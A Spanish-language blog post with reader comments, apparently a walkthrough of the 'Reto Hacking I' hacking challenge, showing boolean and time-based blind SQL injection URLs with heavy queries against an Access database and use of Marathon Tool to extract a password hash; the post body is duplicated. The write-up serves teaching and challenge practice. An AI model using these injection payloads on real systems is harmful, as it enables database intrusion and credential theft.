Hola a tod@s,
Allá por finales del 2006, cuando salió el Reto Hacking I, este fue diseñado para ser pasado utilizando Blind SQL Injection en base a patrones, es decir. Bastaba con fijarse en los cambios de los valores de las pistas cuando se inyecta algo True y cuando se inyecta algo False:
Verdadero: Sale la pista 2
http://www.informatica64.com/retohacking/pista.aspx?id_pista=2 and 1=1
Falso: Sale la pista 1 que es la de por defecto ante ausencia de valores en la query.
http://www.informatica64.com/retohacking/pista.aspx?id_pista=2 and 1=2
La dificultad dos era adivinar que estaba programado usando Access y claro, al no haber diccionario de datos había que adivinar que la había una tabla llamada Contrasena, con una columna llamada Contrasena. Pero... para eso estaban las pistas. Si quieres puedes leer el solucionario que hizo Dani Kachakil sobre él.
Pero... ¿se podría haber sacado sólo con la pista 1, es decir, sin que hubiera existido la pista 2?
http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and 1=1
http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and 1=2
Como se puede ver en este caso no hay diferencia pues en caso de error el programa devuelve la pista por defecto, es decir, la pista 1. ¿Solución? Pues pasarlo con consultas pesadas... y Marathon Tool.
Paso 1: Descubrir la tabla y la columna
Verdadero: La consulta dura como unos 6 segundos más o menos
http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and (select count(*) from MSysAccessObjects as t1, MSysAccessObjects as t2, MSysAccessObjects as t3, MSysAccessObjects as t4, MSysAccessObjects as t5, MSysAccessObjects as t6, MSysAccessObjects as t7, MSysAccessObjects as t8, MSysAccessObjects as t9, MSysAccessObjects as t10)=0 and exists (select Contrasena from Contrasena)
Falso: La consulta dura poco más de 1 segundo, sólo la latencia de red.
http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and (select count(*) from MSysAccessObjects as t1, MSysAccessObjects as t2, MSysAccessObjects as t3, MSysAccessObjects as t4, MSysAccessObjects as t5, MSysAccessObjects as t6, MSysAccessObjects as t7, MSysAccessObjects as t8, MSysAccessObjects as t9, MSysAccessObjects as t10)=0 and NOT exists (select Contrasena from Contrasena)
Fase 2: Sacar la Contraseña con Marathon Tool
Para esta fase usamos Marathon Tool, se configura como se ve en la imagen. En este caso es un Access 2000, pero podría haber sido un Access 2003/2007 pero esto ya lo tendrías que haber probado en la Fase 1. Después se inicializa la tool
Configuración Access 2000 para Reto Hacking I
Después se debe configurar la tabla y la columna a extraer. Esto se debe realizar en las bases de datos Access porque no disponen de un diccionario de datos, por eso era necesaria la Fase 1:
Configuración de Tabla y columna
Una vez configurada se da al botón de Get Data y Marathon Tool se pone a currar...
Marathon Tool trabajando
En el log se puede apreciar que Marathon Tool ha encontrado el número de registros y la longitud del dato. En este caso 1 registro de 32 caracteres de longitud. Al final, los datos aparecerán en la pestaña de Database data. Una vez aparezca el Hash el resto es crackearlo y listo.
Si te apetece aprender más sobre este tema:
- Time-Based Blind SQL Injection using Heavy Queries (Parte I de II)
- Time-Based Blind SQL Injection using Heavy Queries (Parte II de II)
- Descargar Marathon Tool
Saludos Malignos!
Allá por finales del 2006, cuando salió el Reto Hacking I, este fue diseñado para ser pasado utilizando Blind SQL Injection en base a patrones, es decir. Bastaba con fijarse en los cambios de los valores de las pistas cuando se inyecta algo True y cuando se inyecta algo False:
Verdadero: Sale la pista 2
http://www.informatica64.com/retohacking/pista.aspx?id_pista=2 and 1=1
Falso: Sale la pista 1 que es la de por defecto ante ausencia de valores en la query.
http://www.informatica64.com/retohacking/pista.aspx?id_pista=2 and 1=2
La dificultad dos era adivinar que estaba programado usando Access y claro, al no haber diccionario de datos había que adivinar que la había una tabla llamada Contrasena, con una columna llamada Contrasena. Pero... para eso estaban las pistas. Si quieres puedes leer el solucionario que hizo Dani Kachakil sobre él.
Pero... ¿se podría haber sacado sólo con la pista 1, es decir, sin que hubiera existido la pista 2?
http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and 1=1
http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and 1=2
Como se puede ver en este caso no hay diferencia pues en caso de error el programa devuelve la pista por defecto, es decir, la pista 1. ¿Solución? Pues pasarlo con consultas pesadas... y Marathon Tool.
Paso 1: Descubrir la tabla y la columna
Verdadero: La consulta dura como unos 6 segundos más o menos
http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and (select count(*) from MSysAccessObjects as t1, MSysAccessObjects as t2, MSysAccessObjects as t3, MSysAccessObjects as t4, MSysAccessObjects as t5, MSysAccessObjects as t6, MSysAccessObjects as t7, MSysAccessObjects as t8, MSysAccessObjects as t9, MSysAccessObjects as t10)=0 and exists (select Contrasena from Contrasena)
Falso: La consulta dura poco más de 1 segundo, sólo la latencia de red.
http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and (select count(*) from MSysAccessObjects as t1, MSysAccessObjects as t2, MSysAccessObjects as t3, MSysAccessObjects as t4, MSysAccessObjects as t5, MSysAccessObjects as t6, MSysAccessObjects as t7, MSysAccessObjects as t8, MSysAccessObjects as t9, MSysAccessObjects as t10)=0 and NOT exists (select Contrasena from Contrasena)
Fase 2: Sacar la Contraseña con Marathon Tool
Para esta fase usamos Marathon Tool, se configura como se ve en la imagen. En este caso es un Access 2000, pero podría haber sido un Access 2003/2007 pero esto ya lo tendrías que haber probado en la Fase 1. Después se inicializa la tool
Configuración Access 2000 para Reto Hacking I
Después se debe configurar la tabla y la columna a extraer. Esto se debe realizar en las bases de datos Access porque no disponen de un diccionario de datos, por eso era necesaria la Fase 1:
Configuración de Tabla y columna
Una vez configurada se da al botón de Get Data y Marathon Tool se pone a currar...
Marathon Tool trabajando
En el log se puede apreciar que Marathon Tool ha encontrado el número de registros y la longitud del dato. En este caso 1 registro de 32 caracteres de longitud. Al final, los datos aparecerán en la pestaña de Database data. Una vez aparezca el Hash el resto es crackearlo y listo.
Si te apetece aprender más sobre este tema:
- Time-Based Blind SQL Injection using Heavy Queries (Parte I de II)
- Time-Based Blind SQL Injection using Heavy Queries (Parte II de II)
- Descargar Marathon Tool
Saludos Malignos!
jijji, mola :)
ResponderEliminarChema, ¿has probado el BSQL Hacker? Es parecido al Marathon tool, yo estaba probándolo ahora a ver si consigo algo con el Reto I :)
ResponderEliminarAl infierno vamos a ir todos..
ResponderEliminarPregunta OFF-TOPIC: ¿donde están los artículos del III-VI de "Medidas de protección contra troyanos bancarios"?
Muchas gracias.
@asfasfos, BSQL hacker funciona con el retohacking, pero haciendo uso de las dos pistas o métodos de tiempo pero sin consultas pesadas.
ResponderEliminar@anónimo, este septiembre sale en la revista PCWorld y los publicaré en Octubre.
/offtopic la oooostia de gracioso
ResponderEliminarA lo mejor tu ya lo sabias de la DefCon Chema...
http://blog.wired.com/27bstroke6/2008/08/revealed-the-in.html
http://blog.wired.com/27bstroke6/2008/08/how-to-intercep.html
Empiezo a odiar el mundo informatico tal y como lo conocemos, ni BGP se libra ya de hijoputeces varias..
Cuidaros..
Wi®
Interesantes herramientas tanto "Marathon tool" como "BSQL Hacker" y me alegra comprobar que ambas son SOFTWARE LIBRE (una MsPL y la otra GPL).
ResponderEliminar¿de qué vivirán los que las hacen si se dedican a regalar su trabajo? Seguro que de sus padres:-P
@anónimo, seguro que de esas herramientas no y de hecho, ha sido un sobre-esfuerzo fuera del trabajo.
ResponderEliminarDe hecho, en nuestro caso vivimos en parte del software comercial
Saludos!
maligno: Esto... era una pregunta retórica... pero bueno, lo explico.
ResponderEliminarMuchos hacemos software libre en nuestro tiempo libre y elegimos esa licencia para que pueda ser útil a los demás, con garantías de que cuando me canse de desarrollarlo, no dejaré a sus potenciales usuarios colgados, entre otras muuuuchas ventajas que sin duda conoces de sobra. A eso es a lo que llamamos "buena vecindad".
Eso no implica que no tengan interés en ganar dinero con ello, ni tampoco lo contrario. Las motivaciones personales, sociales y económicas son paralelas y compatibles, siempre que no se caiga en la ilegalidad y/o la inmoralidad.
Y sin duda, los autores de estos programas han elegido esas licencias por esas razones (o muy parecidas). Lo cual también prueba que la gente que defiende a M$ no es necesariamente mala persona. :-) Esto último es una maldad en todo humorístico, lo recalco por si no quedara suficientemente claro por el contexto, ya que parece que aquí el sentido del humor está un poco desterrado, mucha tensión entre las tropas, hay que intentar ser feliz (consejo gratis).
A lo que iba, por ejemplo, a los desarrolladores de cherokee los contrató Sun y dudo que hubieran podido llegar ahí de no ser por cherokee. Una buena prueba (suponiendo que hiciera falta) de que el SL permite conseguir dinero (y trabajo).
El software libre puede ser comercial igual que el privativo puede ser gratuito. Cosa que también sabes ;-)
PD: Me permito señalar que no he insultado a nadie en este comentario (salvo en la broma, y he dicho que era un broma). Solo espero que si alguien me responde me dé al menos el mismo trato.
--
gnuista amante de las guerras (aparentemente) perdidas.
@anónimo, no te preocupes, no te insultamos. Nosotros elegimos esa licencia porque yo lo elegí desde el primer momento pues es una herramienta que la hacíamos para probar una técnica y que nos ha servido en pequeñas pruebas de auditoria.
ResponderEliminarRespecto a lo de los programadores de Cheroke contratados por Sun tengo muchos ejemplos contrarios. De gente que ha iniciado un proyecto y que una grande lo ha copiado o lo ha usado sin darle un duro, incluido spectra. Hay mucho SL utilizado por Spectra sin pagar un duro igual que hay mucho SL utilizado por Google sin pagar un duro. Para que te hagas una idea, Google y su proyecto de servidor web de Apache. Les da un sponsor de 100.000 dolares al año, lo utiliza masivamente y las modificaciones no las reintroduce al proyecto. ¿Crees que 100.000 dolares es lo que vale el trabajo de Apache?
Casos contrarios de gente que se ha ido al garete al hacer su proyecto SL tienes muchos. Aquí pusimos uno. Algo falla en el SL
Al final, el SL es una opción como la de hacer software comercial con licencias de uso. A mi no me parece mal que se haga SL, me parece mal que se critique o se trate de inmorales a los que hacen software comercial.
La licencia de Marathon Tool la elegí yo.
Saludos!
@anónimo: De haber sabido que me iba a costar tanto, te aseguro que me lo habría pensado dos veces antes de haberla desarrollado en su versión inicial (por supuesto sin haber cobrado un duro por el trabajo).
ResponderEliminarDe momento es mi primera experiencia en esto del SL y la verdad es que no espero ningún retorno de la inversión. Y ojo que tampoco me arrepiento, ni mucho menos.
Supongamos que ya me he cansado de seguir desarrollándolo, tal y como comentas... Precisamente ahora es cuando podremos comprobar si ese espíritu de aportar cosas a la comunidad (lo que llamas "buena vecindad") existe, o es un poco más difícil de conseguir de lo que se va predicando por ahí.
Veremos cuánta gente colabora y aporta cosas al proyecto, teniendo en cuenta que ya lleva unas cuantas descargas del código fuente. Ojalá sean muchos, aunque lo dudo...
Saludos!
Maligno:
ResponderEliminarEstuve probando el marathon sobre el reto hacking y lo unico que me aparece es una parte del hash
0c9474f0, y el programa detiene su marcha, que es lo que falta para que haga el recorrido completo????
Saludos Daniel
@Daniel: Eso es porque te has bajado la demo y no has comprado la versión completa. ;-)
ResponderEliminarEra broma... ahora en serio, como habrás podido comprobar, la herramienta tiene muy poca tolerancia a fallos (es decir, casi cualquier retardo inesperado puede provocar que un dato se interprete de forma incorrecta y puede hacer que se obtengan resultados erróneos)
Seguramente haya fallado en la obtención del cálculo de la longitud de la contraseña. Asegúrate de no tener ningún eMule (o similares) ejecutándose en tu red. Si no es eso, intenta ajustar los tiempos de espera y échale un vistazo al log.
Es lo que tiene la extracción de datos midiendo tiempos y estresando al servidor... es algo extremadamente sensible a las condiciones del experimento y no siempre sale bien. ;-)
Saludos!
@Dani k.
ResponderEliminarOk, es bueno el dato para tener en cuenta, te cuento que en mi red no hay emule, pero es una red con ciertos delays... internet wireless y encima el proveedor esta mudando torres, vere de jugar con los tiempo de espera que mencionas
Gracias por todo